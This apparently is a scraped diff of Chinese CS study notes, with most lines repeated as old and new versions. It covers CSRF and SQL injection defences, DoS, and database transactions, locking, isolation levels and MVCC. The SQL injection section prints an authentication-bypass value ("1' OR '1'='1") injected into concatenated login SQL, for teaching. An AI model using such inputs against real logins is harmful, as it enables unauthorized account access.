这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
通过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
通过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
## 防范手段
## 防范手段
### 1. 检查 Referer 首部字段
### 1. 检查 Referer 首部字段
Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止 CSRF 攻击。
Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止 CSRF 攻击。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
### 2. 添加校验 Token
### 2. 添加校验 Token
在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。
在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。
### 3. 输入验证码
### 3. 输入验证码
因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。
因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。
# 三、SQL 注入攻击
# 三、SQL 注入攻击
## 概念
## 概念
服务器上的数据库运行非法的 SQL 语句,主要通过拼接来完成。
服务器上的数据库运行非法的 SQL 语句,主要通过拼接来完成。
## 攻击原理
## 攻击原理
例如一个网站登录验证的 SQL 查询代码为:
例如一个网站登录验证的 SQL 查询代码为:
```sql
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
```
如果填入以下内容:
```sql
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
```
那么 SQL 查询字符串为:
那么 SQL 查询字符串为:
```sql
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
```
此时无需验证通过就能执行以下查询:
```sql
strSQL = "SELECT * FROM users;"
strSQL = "SELECT * FROM users;"
```
## 防范手段
## 防范手段
### 1. 使用参数化查询
### 1. 使用参数化查询
Java 中的 PreparedStatement 是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。
Java 中的 PreparedStatement 是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。
```java
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
```
### 2. 单引号转换
### 2. 单引号转换
将传入的参数中的单引号转换为连续两个单引号PHP 中的 Magic quote 可以完成这个功能。
将传入的参数中的单引号转换为连续两个单引号PHP 中的 Magic quote 可以完成这个功能。
# 四、拒绝服务攻击
# 四、拒绝服务攻击
拒绝服务攻击denial-of-service attackDoS亦称洪水攻击其目的在于使目标电脑的网络或系统资源耗尽使服务暂时中断或停止导致其正常用户无法访问。
拒绝服务攻击denial-of-service attackDoS亦称洪水攻击其目的在于使目标电脑的网络或系统资源耗尽使服务暂时中断或停止导致其正常用户无法访问。
分布式拒绝服务攻击distributed denial-of-service attackDDoS指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
分布式拒绝服务攻击distributed denial-of-service attackDDoS指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
# 参考资料
# 参考资料
- [维基百科:跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
- [维基百科SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
- [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
- [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
- [维基百科:跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
- [维基百科SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
- [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
- [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)

View File

@ -1,28 +1,72 @@
# 一、事务
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、事务](#一事务)
* [概念](#概念)
* [ACID](#acid)
* [AUTOCOMMIT](#autocommit)
* [二、并发一致性问题](#二并发一致性问题)
* [丢失修改](#丢失修改)
* [读脏数据](#读脏数据)
* [不可重复读](#不可重复读)
* [幻影读](#幻影读)
* [三、封锁](#三封锁)
* [封锁粒度](#封锁粒度)
* [封锁类型](#封锁类型)
* [封锁协议](#封锁协议)
* [MySQL 隐式与显示锁定](#mysql-隐式与显示锁定)
* [四、隔离级别](#四隔离级别)
* [未提交读READ UNCOMMITTED](#未提交读read-uncommitted)
* [提交读READ COMMITTED](#提交读read-committed)
* [可重复读REPEATABLE READ](#可重复读repeatable-read)
* [可串行化SERIALIZABLE](#可串行化serializable)
* [五、多版本并发控制](#五多版本并发控制)
* [版本号](#版本号)
* [隐藏的列](#隐藏的列)
* [Undo 日志](#undo-日志)
* [实现过程](#实现过程)
* [快照读与当前读](#快照读与当前读)
* [六、Next-Key Locks](#六next-key-locks)
* [Record Locks](#record-locks)
* [Gap Locks](#gap-locks)
* [Next-Key Locks](#next-key-locks)
* [七、关系数据库设计理论](#七关系数据库设计理论)
* [函数依赖](#函数依赖)
* [异常](#异常)
* [范式](#范式)
* [八、ER 图](#八er-图)
* [实体的三种联系](#实体的三种联系)
* [表示出现多次的关系](#表示出现多次的关系)
* [联系的多向性](#联系的多向性)
* [表示子类](#表示子类)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 概念
事务指的是满足 ACID 特性的一组操作可以通过 Commit 提交一个事务也可以使用 Rollback 进行回滚。
# 一、事务
<img src="index_files/bae98438-7db6-41a6-893e-8813248f2f92.jpg" width="400"/>
## 概念
## ACID
事务指的是满足 ACID 特性的一组操作,可以通过 Commit 提交一个事务,也可以使用 Rollback 进行回滚。
### 1. 原子性Atomicity
<div align="center"> <img src="pics/bae98438-7db6-41a6-893e-8813248f2f92.jpg" width="400"/> </div><br>
## ACID
### 1. 原子性Atomicity
事务被视为不可分割的最小单元,事务的所有操作要么全部提交成功,要么全部失败回滚。
回滚可以用回滚日志来实现,回滚日志记录着事务所执行的修改操作,在回滚时反向执行这些修改操作即可。
### 2. 一致性Consistency
### 2. 一致性Consistency
数据库在事务执行前后都保持一致性状态。在一致性状态下,所有事务对一个数据的读取结果都是相同的。
### 3. 隔离性Isolation
### 3. 隔离性Isolation
一个事务所做的修改在最终提交以前,对其它事务是不可见的。
### 4. 持久性Durability
### 4. 持久性Durability
一旦事务提交,则其所做的修改将会永远保存到数据库中。即使系统发生崩溃,事务执行的结果也不能丢失。
@ -30,58 +74,58 @@
----
事务的 ACID 特性概念简单,但不是很好理解,主要是因为这几个特性不是一种平级关系:
事务的 ACID 特性概念简单,但不是很好理解,主要是因为这几个特性不是一种平级关系:
- 只有满足一致性,事务的执行结果才是正确的。
- 在无并发的情况下,事务串行执行,隔离性一定能够满足。此时只要能满足原子性,就一定能满足一致性。
- 在并发的情况下,多个事务并行执行,事务不仅要满足原子性,还需要满足隔离性,才能满足一致性。
- 事务满足持久化是为了能应对数据库崩溃的情况。
- 只有满足一致性,事务的执行结果才是正确的。
- 在无并发的情况下,事务串行执行,隔离性一定能够满足。此时只要能满足原子性,就一定能满足一致性。
- 在并发的情况下,多个事务并行执行,事务不仅要满足原子性,还需要满足隔离性,才能满足一致性。
- 事务满足持久化是为了能应对数据库崩溃的情况。
<img src="index_files/6675d713-8b59-4067-ad16-fdd538d4bb43.png" width="500"/>
<div align="center"> <img src="pics/6675d713-8b59-4067-ad16-fdd538d4bb43.png" width="500"/> </div><br>
## AUTOCOMMIT
## AUTOCOMMIT
MySQL 默认采用自动提交模式。也就是说,如果不显式使用`START TRANSACTION`语句来开始一个事务,那么每个查询都会被当做一个事务自动提交。
MySQL 默认采用自动提交模式。也就是说,如果不显式使用`START TRANSACTION`语句来开始一个事务,那么每个查询都会被当做一个事务自动提交。
# 二、并发一致性问题
# 二、并发一致性问题
在并发环境下,事务的隔离性很难保证,因此会出现很多并发一致性问题。
## 丢失修改
## 丢失修改
T<sub>1</sub>  T<sub>2</sub> 两个事务都对一个数据进行修改T<sub>1</sub> 先修改T<sub>2</sub> 随后修改T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改T<sub>1</sub> 先修改T<sub>2</sub> 随后修改T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
<img src="index_files/d5dfeb74-a27a-43b8-9121-191d3cb75198.png" width="350"/>
<div align="center"> <img src="pics/d5dfeb74-a27a-43b8-9121-191d3cb75198.png" width="350"/> </div><br>
## 读脏数据
## 读脏数据
T<sub>1</sub> 修改一个数据T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改那么 T<sub>2</sub> 读取的数据是脏数据。
T<sub>1</sub> 修改一个数据T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改,那么 T<sub>2</sub> 读取的数据是脏数据。
<img src="index_files/16eea7d2-f5f5-4180-93be-dba7d4e48f5d.png" width="400"/>
<div align="center"> <img src="pics/16eea7d2-f5f5-4180-93be-dba7d4e48f5d.png" width="400"/> </div><br>
## 不可重复读
## 不可重复读
T<sub>2</sub> 读取一个数据T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据,此时读取的结果和第一次读取的结果不同。
T<sub>2</sub> 读取一个数据T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据,此时读取的结果和第一次读取的结果不同。
<img src="index_files/036c0e07-0725-4b3c-a684-ab3b16ca7b86.png" width="400"/>
<div align="center"> <img src="pics/036c0e07-0725-4b3c-a684-ab3b16ca7b86.png" width="400"/> </div><br>
## 幻影读
## 幻影读
T<sub>1</sub> 读取某个范围的数据T<sub>2</sub> 在这个范围内插入新的数据T<sub>1</sub> 再次读取这个范围的数据,此时读取的结果和和第一次读取的结果不同。
T<sub>1</sub> 读取某个范围的数据T<sub>2</sub> 在这个范围内插入新的数据T<sub>1</sub> 再次读取这个范围的数据,此时读取的结果和和第一次读取的结果不同。
<img src="index_files/2c437953-08b1-47b9-a780-7dfdc90a3b6f.png" width="400"/>
<div align="center"> <img src="pics/2c437953-08b1-47b9-a780-7dfdc90a3b6f.png" width="400"/> </div><br>
----
产生并发不一致性问题主要原因是破坏了事务的隔离性,解决方法是通过并发控制来保证隔离性。并发控制可以通过封锁来实现,但是封锁操作需要用户自己控制,相当复杂。数据库管理系统提供了事务的隔离级别,让用户以一种更轻松的方式处理并发一致性问题。
# 三、封锁
# 三、封锁
## 封锁粒度
## 封锁粒度
MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
应该尽量只锁定需要修改的那部分数据,而不是所有的资源。锁定的数据量越少,发生锁争用的可能就越小,系统的并发程度就越高。
@ -89,122 +133,122 @@ MySQL 中提供了两种封锁粒度行级锁以及表级锁。
在选择封锁粒度时,需要在锁开销和并发程度之间做一个权衡。
<img src="index_files/1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/>
<div align="center"> <img src="pics/1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/> </div><br>
## 封锁类型
## 封锁类型
### 1. 读写锁
### 1. 读写锁
- 排它锁Exclusive简写为 X 锁,又称写锁。
- 共享锁Shared简写为 S 锁,又称读锁。
- 排它锁Exclusive简写为 X 锁,又称写锁。
- 共享锁Shared简写为 S 锁,又称读锁。
有以下两个规定:
- 一个事务对数据对象 A 加了 X 就可以对 A 进行读取和更新。加锁期间其它事务不能对 A 加任何锁。
- 一个事务对数据对象 A 加了 S 可以对 A 进行读取操作但是不能进行更新操作。加锁期间其它事务能对 A  S 但是不能加 X 锁。
- 一个事务对数据对象 A 加了 X 锁,就可以对 A 进行读取和更新。加锁期间其它事务不能对 A 加任何锁。
- 一个事务对数据对象 A 加了 S 锁,可以对 A 进行读取操作,但是不能进行更新操作。加锁期间其它事务能对 A 加 S 锁,但是不能加 X 锁。
锁的兼容关系如下:
| - | X | S |
| :--: | :--: | :--: |
| - | X | S |
| :--: | :--: | :--: |
|X|×|×|
|S|×|√|
### 2. 意向锁
### 2. 意向锁
使用意向锁Intention Locks可以更容易地支持多粒度封锁。
使用意向锁Intention Locks可以更容易地支持多粒度封锁。
在存在行级锁和表级锁的情况下,事务 T 想要对表 A  X 就需要先检测是否有其它事务对表 A 或者表 A 中的任意一行加了锁那么就需要对表 A 的每一行都检测一次,这是非常耗时的。
在存在行级锁和表级锁的情况下,事务 T 想要对表 A 加 X 锁,就需要先检测是否有其它事务对表 A 或者表 A 中的任意一行加了锁,那么就需要对表 A 的每一行都检测一次,这是非常耗时的。
意向锁在原来的 X/S 锁之上引入了 IX/ISIX/IS 都是表锁用来表示一个事务想要在表中的某个数据行上加 X 锁或 S 锁。有以下两个规定:
意向锁在原来的 X/S 锁之上引入了 IX/ISIX/IS 都是表锁,用来表示一个事务想要在表中的某个数据行上加 X 锁或 S 锁。有以下两个规定:
- 一个事务在获得某个数据行对象的 S 锁之前必须先获得表的 IS 锁或者更强的锁;
- 一个事务在获得某个数据行对象的 X 锁之前必须先获得表的 IX 锁。
- 一个事务在获得某个数据行对象的 S 锁之前,必须先获得表的 IS 锁或者更强的锁;
- 一个事务在获得某个数据行对象的 X 锁之前,必须先获得表的 IX 锁。
通过引入意向锁,事务 T 想要对表 A  X 只需要先检测是否有其它事务对表 A 加了 X/IX/S/IS 锁,如果加了就表示有其它事务正在使用这个表或者表中某一行的锁,因此事务 T  X 锁失败。
通过引入意向锁,事务 T 想要对表 A 加 X 锁,只需要先检测是否有其它事务对表 A 加了 X/IX/S/IS 锁,如果加了就表示有其它事务正在使用这个表或者表中某一行的锁,因此事务 T 加 X 锁失败。
各种锁的兼容关系如下:
| - | X | IX | S | IS |
| :--: | :--: | :--: | :--: | :--: |
|X     |×    |×    |×   | ×|
|IX    |×    |√   |×   | √|
|S     |×    |×    |√  | √|
|IS    |×    |√  |√  | √|
| - | X | IX | S | IS |
| :--: | :--: | :--: | :--: | :--: |
|X |× |× |× | ×|
|IX |× |√ |× | √|
|S |× |× |√ | √|
|IS |× |√ |√ | √|
解释如下:
- 任意 IS/IX 锁之间都是兼容的,因为它们只是表示想要对表加锁,而不是真正加锁;
- S 锁只与 S 锁和 IS 锁兼容也就是说事务 T 想要对数据行加 S 其它事务可以已经获得对表或者表中的行的 S 锁。
- 任意 IS/IX 锁之间都是兼容的,因为它们只是表示想要对表加锁,而不是真正加锁;
- S 锁只与 S 锁和 IS 锁兼容,也就是说事务 T 想要对数据行加 S 锁,其它事务可以已经获得对表或者表中的行的 S 锁。
## 封锁协议
## 封锁协议
### 1. 三级封锁协议
### 1. 三级封锁协议
**一级封锁协议**
**一级封锁协议**
事务 T 要修改数据 A 时必须加 X 直到 T 结束才释放锁。
事务 T 要修改数据 A 时必须加 X 锁,直到 T 结束才释放锁。
可以解决丢失修改问题,因为不能同时有两个事务对同一个数据进行修改,那么事务的修改就不会被覆盖。
| T<sub>1</sub> | T<sub>2</sub> |
| :--: | :--: |
| lock-x(A) | |
| read A=20 | |
| | lock-x(A) |
|  | wait |
| write A=19 |. |
| commit |. |
| unlock-x(A) |. |
| | obtain |
| | read A=19 |
| | write A=21 |
| | commit |
| | unlock-x(A)|
| T<sub>1</sub> | T<sub>2</sub> |
| :--: | :--: |
| lock-x(A) | |
| read A=20 | |
| | lock-x(A) |
| | wait |
| write A=19 |. |
| commit |. |
| unlock-x(A) |. |
| | obtain |
| | read A=19 |
| | write A=21 |
| | commit |
| | unlock-x(A)|
**二级封锁协议**
**二级封锁协议**
在一级的基础上,要求读取数据 A 时必须加 S 读取完马上释放 S 锁。
在一级的基础上,要求读取数据 A 时必须加 S 锁,读取完马上释放 S 锁。
可以解决读脏数据问题,因为如果一个事务在对数据 A 进行修改根据 1 级封锁协议会加 X 那么就不能再加 S 锁了,也就是不会读入数据。
可以解决读脏数据问题,因为如果一个事务在对数据 A 进行修改,根据 1 级封锁协议,会加 X 锁,那么就不能再加 S 锁了,也就是不会读入数据。
| T<sub>1</sub> | T<sub>2</sub> |
| :--: | :--: |
| lock-x(A) | |
| read A=20 | |
| write A=19 | |
| | lock-s(A) |
|  | wait |
| rollback | .|
| A=20 |. |
| unlock-x(A) |. |
| | obtain |
| | read A=20 |
| | unlock-s(A)|
| | commit |
| T<sub>1</sub> | T<sub>2</sub> |
| :--: | :--: |
| lock-x(A) | |
| read A=20 | |
| write A=19 | |
| | lock-s(A) |
| | wait |
| rollback | .|
| A=20 |. |
| unlock-x(A) |. |
| | obtain |
| | read A=20 |
| | unlock-s(A)|
| | commit |
**三级封锁协议**
**三级封锁协议**
在二级的基础上,要求读取数据 A 时必须加 S 直到事务结束了才能释放 S 锁。
在二级的基础上,要求读取数据 A 时必须加 S 锁,直到事务结束了才能释放 S 锁。
可以解决不可重复读的问题,因为读 A 其它事务不能对 A  X 锁,从而避免了在读的期间数据发生改变。
可以解决不可重复读的问题,因为读 A 时,其它事务不能对 A 加 X 锁,从而避免了在读的期间数据发生改变。
| T<sub>1</sub> | T<sub>2</sub> |
| :--: | :--: |
| lock-s(A) | |
| read A=20 | |
|  |lock-x(A) |
| | wait |
|  read A=20| . |
| commit | .|
| unlock-s(A) |. |
| | obtain |
| | read A=20 |
| | write A=19|
| | commit |
| | unlock-X(A)|
| T<sub>1</sub> | T<sub>2</sub> |
| :--: | :--: |
| lock-s(A) | |
| read A=20 | |
| |lock-x(A) |
| | wait |
| read A=20| . |
| commit | .|
| unlock-s(A) |. |
| | obtain |
| | read A=20 |
| | write A=19|
| | commit |
| | unlock-X(A)|
### 2. 两段锁协议
### 2. 两段锁协议
加锁和解锁分为两个阶段进行。
@ -222,332 +266,317 @@ lock-x(A)...lock-s(B)...lock-s(C)...unlock(A)...unlock(C)...unlock(B)
lock-x(A)...unlock(A)...lock-s(B)...unlock(B)...lock-s(C)...unlock(C)
```
## MySQL 隐式与显示锁定
## MySQL 隐式与显示锁定
MySQL  InnoDB 存储引擎采用两段锁协议,会根据隔离级别在需要的时候自动加锁,并且所有的锁都是在同一时刻被释放,这被称为隐式锁定。
MySQL 的 InnoDB 存储引擎采用两段锁协议,会根据隔离级别在需要的时候自动加锁,并且所有的锁都是在同一时刻被释放,这被称为隐式锁定。
InnoDB 也可以使用特定的语句进行显示锁定:
InnoDB 也可以使用特定的语句进行显示锁定:
```sql
SELECT ... LOCK In SHARE MODE;
SELECT ... FOR UPDATE;
SELECT ... LOCK In SHARE MODE;
SELECT ... FOR UPDATE;
```
# 四、隔离级别
# 四、隔离级别
## 未提交读READ UNCOMMITTED
## 未提交读READ UNCOMMITTED
事务中的修改,即使没有提交,对其它事务也是可见的。
## 提交读READ COMMITTED
## 提交读READ COMMITTED
一个事务只能读取已经提交的事务所做的修改。换句话说,一个事务所做的修改在提交之前对其它事务是不可见的。
## 可重复读REPEATABLE READ
## 可重复读REPEATABLE READ
保证在同一个事务中多次读取同样数据的结果是一样的。
## 可串行化SERIALIZABLE
## 可串行化SERIALIZABLE
强制事务串行执行。
----
| 隔离级别 | 脏读 | 不可重复读 | 幻影读 | 加锁读 |
| :---: | :---: | :---:| :---: | :---: |
| 未提交读 | √ | √ | √ | × |
| 提交读 | × | √ | √ | × |
| 可重复读 | × | × | √ | × |
| 可串行化 | × | × | × | √ |
| 隔离级别 | 脏读 | 不可重复读 | 幻影读 | 加锁读 |
| :---: | :---: | :---:| :---: | :---: |
| 未提交读 | √ | √ | √ | × |
| 提交读 | × | √ | √ | × |
| 可重复读 | × | × | √ | × |
| 可串行化 | × | × | × | √ |
# 五、多版本并发控制
# 五、多版本并发控制
多版本并发控制Multi-Version Concurrency Control, MVCC MySQL  InnoDB 存储引擎实现隔离级别的一种具体方式,用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行,无需使用 MVCC。可串行化隔离级别需要对所有读取的行都加锁单纯使用 MVCC 无法实现。
多版本并发控制Multi-Version Concurrency Control, MVCC是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式,用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行,无需使用 MVCC。可串行化隔离级别需要对所有读取的行都加锁单纯使用 MVCC 无法实现。
## 版本号
## 版本号
- 系统版本号:是一个递增的数字,每开始一个新的事务,系统版本号就会自动递增。
- 事务版本号:事务开始时的系统版本号。
- 系统版本号:是一个递增的数字,每开始一个新的事务,系统版本号就会自动递增。
- 事务版本号:事务开始时的系统版本号。
## 隐藏的列
## 隐藏的列
MVCC 在每行记录后面都保存着两个隐藏的列,用来存储两个版本号:
MVCC 在每行记录后面都保存着两个隐藏的列,用来存储两个版本号:
- 创建版本号:指示创建一个数据行的快照时的系统版本号;
- 删除版本号:如果该快照的删除版本号大于当前事务版本号表示该快照有效,否则表示该快照已经被删除了。
- 创建版本号:指示创建一个数据行的快照时的系统版本号;
- 删除版本号:如果该快照的删除版本号大于当前事务版本号表示该快照有效,否则表示该快照已经被删除了。
## Undo 日志
## Undo 日志
MVCC 使用到的快照存储在 Undo 日志中该日志通过回滚指针把一个数据行Record的所有快照连接起来。
MVCC 使用到的快照存储在 Undo 日志中该日志通过回滚指针把一个数据行Record的所有快照连接起来。
<img src="index_files/e41405a8-7c05-4f70-8092-e961e28d3112.jpg" width=""/>
<div align="center"> <img src="pics/e41405a8-7c05-4f70-8092-e961e28d3112.jpg" width=""/> </div><br>
## 实现过程
## 实现过程
以下实现过程针对可重复读隔离级别。
当开始新一个事务时,该事务的版本号肯定会大于当前所有数据行快照的创建版本号,理解这一点很关键。
### 1. SELECT
### 1. SELECT
多个事务必须读取到同一个数据行的快照,并且这个快照是距离现在最近的一个有效快照。但是也有例外,如果有一个事务正在修改该数据行,那么它可以读取事务本身所做的修改,而不用和其它事务的读取结果一致。
把没有对一个数据行做修改的事务称为 TT 所要读取的数据行快照的创建版本号必须小于 T 的版本号因为如果大于或者等于 T 的版本号那么表示该数据行快照是其它事务的最新修改因此不能去读取它。除此之外T 所要读取的数据行快照的删除版本号必须大于 T 的版本号因为如果小于等于 T 的版本号,那么表示该数据行快照是已经被删除的,不应该去读取它。
把没有对一个数据行做修改的事务称为 TT 所要读取的数据行快照的创建版本号必须小于 T 的版本号,因为如果大于或者等于 T 的版本号那么表示该数据行快照是其它事务的最新修改因此不能去读取它。除此之外T 所要读取的数据行快照的删除版本号必须大于 T 的版本号,因为如果小于等于 T 的版本号,那么表示该数据行快照是已经被删除的,不应该去读取它。
### 2. INSERT
### 2. INSERT
将当前系统版本号作为数据行快照的创建版本号。
### 3. DELETE
### 3. DELETE
将当前系统版本号作为数据行快照的删除版本号。
### 4. UPDATE
### 4. UPDATE
将当前系统版本号作为更新前的数据行快照的删除版本号,并将当前系统版本号作为更新后的数据行快照的创建版本号。可以理解为先执行 DELETE 后执行 INSERT。
将当前系统版本号作为更新前的数据行快照的删除版本号,并将当前系统版本号作为更新后的数据行快照的创建版本号。可以理解为先执行 DELETE 后执行 INSERT。
## 快照读与当前读
## 快照读与当前读
### 1. 快照读
### 1. 快照读
使用 MVCC 读取的是快照中的数据,这样可以减少加锁所带来的开销。
使用 MVCC 读取的是快照中的数据,这样可以减少加锁所带来的开销。
```sql
select * from table ...;
select * from table ...;
```
### 2. 当前读
### 2. 当前读
读取的是最新的数据,需要加锁。以下第一个语句需要加 S 其它都需要加 X 锁。
读取的是最新的数据,需要加锁。以下第一个语句需要加 S 锁,其它都需要加 X 锁。
```sql
select * from table where ? lock in share mode;
select * from table where ? for update;
select * from table where ? lock in share mode;
select * from table where ? for update;
insert;
update;
delete;
```
# 六、Next-Key Locks
# 六、Next-Key Locks
Next-Key Locks  MySQL  InnoDB 存储引擎的一种锁实现。
Next-Key Locks 是 MySQL 的 InnoDB 存储引擎的一种锁实现。
MVCC 不能解决幻读的问题Next-Key Locks 就是为了解决这个问题而存在的。在可重复读REPEATABLE READ隔离级别下使用 MVCC + Next-Key Locks 可以解决幻读问题。
MVCC 不能解决幻读的问题Next-Key Locks 就是为了解决这个问题而存在的。在可重复读REPEATABLE READ隔离级别下使用 MVCC + Next-Key Locks 可以解决幻读问题。
## Record Locks
## Record Locks
锁定一个记录上的索引,而不是记录本身。
如果表没有设置索引InnoDB 会自动在主键上创建隐藏的聚簇索引因此 Record Locks 依然可以使用。
如果表没有设置索引InnoDB 会自动在主键上创建隐藏的聚簇索引,因此 Record Locks 依然可以使用。
## Gap Locks
## Gap Locks
锁定索引之间的间隙,但是不包含索引本身。例如当一个事务执行以下语句,其它事务就不能在 t.c 中插入 15。
锁定索引之间的间隙,但是不包含索引本身。例如当一个事务执行以下语句,其它事务就不能在 t.c 中插入 15。
```sql
SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
```
## Next-Key Locks
## Next-Key Locks
它是 Record Locks  Gap Locks 的结合不仅锁定一个记录上的索引也锁定索引之间的间隙。例如一个索引包含以下值10, 11, 13, and 20那么就需要锁定以下区间
它是 Record Locks 和 Gap Locks 的结合不仅锁定一个记录上的索引也锁定索引之间的间隙。例如一个索引包含以下值10, 11, 13, and 20那么就需要锁定以下区间
```sql
(negative infinity, 10]
(10, 11]
(11, 13]
(13, 20]
(20, positive infinity)
(negative infinity, 10]
(10, 11]
(11, 13]
(13, 20]
(20, positive infinity)
```
# 七、关系数据库设计理论
# 七、关系数据库设计理论
## 函数依赖
## 函数依赖
 A->B 表示 A 函数决定 B也可以说 B 函数依赖于 A。
A->B 表示 A 函数决定 B也可以说 B 函数依赖于 A。
如果 {A1A2... An} 是关系的一个或多个属性的集合,该集合函数决定了关系的其它所有属性并且是最小的,那么该集合就称为键码。
如果 {A1A2... An} 是关系的一个或多个属性的集合,该集合函数决定了关系的其它所有属性并且是最小的,那么该集合就称为键码。
对于 A->B如果能找到 A 的真子集 A'使得 A'-> B那么 A->B 就是部分函数依赖,否则就是完全函数依赖。
对于 A->B如果能找到 A 的真子集 A',使得 A'-> B那么 A->B 就是部分函数依赖,否则就是完全函数依赖。
对于 A->BB->C A->C 是一个传递函数依赖。
对于 A->BB->C则 A->C 是一个传递函数依赖。
## 异常
## 异常
以下的学生课程关系的函数依赖为 Sno, Cname -> Sname, Sdept, Mname, Grade键码为 {Sno, Cname}。也就是说,确定学生和课程之后,就能确定其它信息。
以下的学生课程关系的函数依赖为 Sno, Cname -> Sname, Sdept, Mname, Grade键码为 {Sno, Cname}。也就是说,确定学生和课程之后,就能确定其它信息。
| Sno | Sname | Sdept | Mname | Cname | Grade |
| :---: | :---: | :---: | :---: | :---: |:---:|
| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
| Sno | Sname | Sdept | Mname | Cname | Grade |
| :---: | :---: | :---: | :---: | :---: |:---:|
